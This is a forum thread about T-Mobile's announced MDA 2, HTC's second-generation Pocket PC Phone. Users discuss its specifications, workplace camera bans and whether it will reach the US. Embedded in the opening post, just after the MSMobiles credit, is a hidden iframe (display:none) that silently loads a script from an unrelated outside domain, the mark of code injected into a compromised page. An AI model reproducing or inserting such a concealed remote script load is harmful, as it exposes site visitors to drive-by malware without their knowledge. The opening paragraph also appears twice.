HTC's Next Generation Pocket PC Phone - T-Mobile Announces MDA 2
Information about the second generation of the HTC manufactured Pocket PC Phone Edition (actually it will be Windows Mobile 2003 - Phone Edition) has been slowly coming out from the different carriers that will be using the new device. T-Mobile has now joined the club and provided pictures and very high level information about the follow-on to their MDA in Europe. All they are saying is that the device will get a faster processor, more memory, an improved display, and a camera... no new new there.
You can read the press release in German at T-Mobile (translated. The photos are available HERE. Thanks to MSMobiles for the story. MSMobiles<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
Too bad about the camera - my company has a strict no-camera policy onsite. No way I'd be buying a PDA device if I can't use it at work. So I'll just hold my breath for the OS upgrade for the XDA1...
Wow... that is going to stink for you over time, as all the new pdaPhones, and even most of the nice mobile phones are coming with cameras. You may never be able to get a new one!
Too bad some of these companies can't trust their employees to have devices that have cameras. For most information couldn't an unscrupulous employee xerox a copy of most anything they could have taken a picture of? I guess this is another case of a few bad apples spoiling it for the whole bunch!
Yes, I think you are correct. Any ridiculous controls like that are usually counter-productive. I would think that they would eventually be forced to bend this rule if more and more mobile phones and pdaPhones include cameras.
It's also a government contractor requirement. If an inspector found employees with cameras, the contractor risks loss of their business and delisting of preferred vendor status. My I700 is just BARELY tolerated since the clearance sections of my building are isolated and I don't have clearance. If people further up the security chain knew I had a camera, I wouldn't be able to bring it in the building.
Well until requirements for security change there will be a niche market for pda phones without cameras. If you are in a building with security clearance or in a courtroom, theatre or other place where cameras are not allowed you will either have to have a cell phone (on vibrate) without a camera or leave your cell phone at home. A pda phone with or without a camera will be a choice each of us has to make based on where we work and what places we frequent.
I hope all the pda phone manufacturers realize this and make versions without a camera. If not then a lot of us will not be able to carry our pda phones wherever we go.
Sprint should be offering another Pocket PC phone later this year that will not have a camara. Thats the official word (check for my post in the Sprint i700 section for the full e-mail). Now from what i heard there should be 2 more by the middle of next year, HTC and HP are both supposedly in the works to make a phone for Sprint PCS.
Yeah, that's good to have a choice on the camera or not. However in the future what if videoconferencing from your PPC Phone becomes a de facto standard? You pretty much have to have a camera in order to do that. I think there will come a time very soon where all these companies and governments will have to re-think their position on restricting this. When EVDO comes the envelope will be pushed!
Originally posted by Falconier
Sprint should be offering another Pocket PC phone later this year that will not have a camara. Thats the official word (check for my post in the Sprint i700 section for the full e-mail). Now from what i heard there should be 2 more by the middle of next year, HTC and HP are both supposedly in the works to make a phone for Sprint PCS.
I guess you can't call it the "Sprint i700 section" anymore since as part of your post in that section you shared the news that Sprint will not be releasing an i700 PPC phone.
Okay so did anyone even notice on the INternationa portion of the T-mobile site it says "MDA II will soon be available in Germany, Austria, the UK and the Czech Republic." Wow what about us? Are we chicken? Well also they say integreated bluetooth and 128 mb's of ram woohoo!! I am so there. I think we need to send some e-mail and tell T-Mobile to not forget the US! Well here's the link http://www.t-mobile.net/CDA/,1898,0,newsid-2188-yearid--monthid-1885,en.html?w=817&h=661
T-Mobile International and T-Mobile US operate pretty much separately... case in point was the International guys gave the Phone Edition a name... the MDA. The folks over here didn't give it a name, so everyone has to spew out that mouthful everytime they mention the phone... T-Mobile Pocket PC Phone Edition. Talk about lack of planning... what are they going to do when version two comes along.... "T-Mobile Pocket PC Phone Edition II"? I can't believe a big company like that couldn't have come up with a nice neat model number... like XDA, MDA, P800, SX56, etc, etc.
You'd have to assume that T-Mobile will pick this up as a follow-on to their current product at some point.
Yes, this sounds like a great device! One of the things they emphasized is that it is also a tri-mode phone that could be used in a majority of the states in America. If TMobile released this for their US market I wonder if they would keep analog capability on it? If so, I wonder how it would affect the battery life?
If they were to release it now with analog capability they would get a lot of sales. I'm hoping they convert all analog to digital soon which would make this feature not relevant.
well as far as tri-band goes. I have a US pocket pc phone from t-mobile that when I drove from San Antonio to Mexico City then to Alcapulco worked for me. I did have some dead spots. But when I was in most major cities it worked like a champ. why don't we just come up with a name for ours then like BFDA....heh you guys can figure that one out heh.
Looks like this device (or one similar) will be released in the states very soon. As I said in another post, I almost bought the first-generation PPC Phone Edition from T-Mobile today, but the guy recommended I wait a couple of weeks for the new version.
According to my contacts, T-Mobile is NOT going to release an HTC made Pocket PC in the US. They are doing a Pocket PC, but it won't be anything like this one... unless of course I'm wrong...
Information about the second generation of the HTC manufactured Pocket PC Phone Edition (actually it will be Windows Mobile 2003 - Phone Edition) has been slowly coming out from the different carriers that will be using the new device. T-Mobile has now joined the club and provided pictures and very high level information about the follow-on to their MDA in Europe. All they are saying is that the device will get a faster processor, more memory, an improved display, and a camera... no new new there. 
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